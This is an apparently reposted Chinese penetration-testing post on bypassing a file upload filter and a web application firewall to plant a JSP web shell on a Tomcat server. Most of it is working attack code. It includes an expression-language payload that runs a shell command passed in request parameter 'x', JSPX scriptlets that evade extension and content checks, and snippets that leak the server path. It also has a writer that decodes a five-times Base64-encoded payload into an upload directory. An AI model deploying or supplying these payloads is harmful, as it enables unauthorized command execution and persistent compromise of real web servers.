文章来源:先知社区(john)
原文地址:https://xz.aliyun.com/t/11337
前言
0x01 获取网站接口
0x02 后缀名绕过
0x03 内容绕过
${Runtime.getRuntime().exec(request.getParameter("x"))}
<hi xmlns:hi="http://java.sun.com/JSP/Page">
<hi:scriptlet>
out.println(30*30);
</hi:scriptlet>
</hi>
0x04 获取网站路径
# 获取当前的根目录
String path = System.getProperty("user.dir"); out.println(path);
# 获取web项目所在的目录
String path = application.getRealPath("test.jsp"); out.println(path);
D:/tomcat8/webapps/declare/static/upload/test.jsp
0x05 编码或加密绕过waf写入shell
<hi xmlns:hi="http://java.sun.com/JSP/Page">
<hi:directive.page import="java.util.Base64,java.io.*"/>
<hi:scriptlet>
File file = new File("D:/tomcat8/webapps/declare/static/upload/test.jsp");
FileWriter fileOut = new FileWriter(file);
Base64.Decoder base64 = Base64.getDecoder();
byte[] str = base64.decode(base64.decode(base64.decode(base64.decode(base64.decode(request.getParameter("x").getBytes("utf-8"))))));
try {
fileOut.write(new String(str, "utf-8"));
out.println("写入成功");
} catch (Exception e) {
e.printStackTrace();
} finally {
try {
if (fileOut != null) {
fileOut.close();
}
} catch (Exception e) {
e.printStackTrace();
}
}
</hi:scriptlet>
</hi>
0x06 总结
学习更多技术,关注我: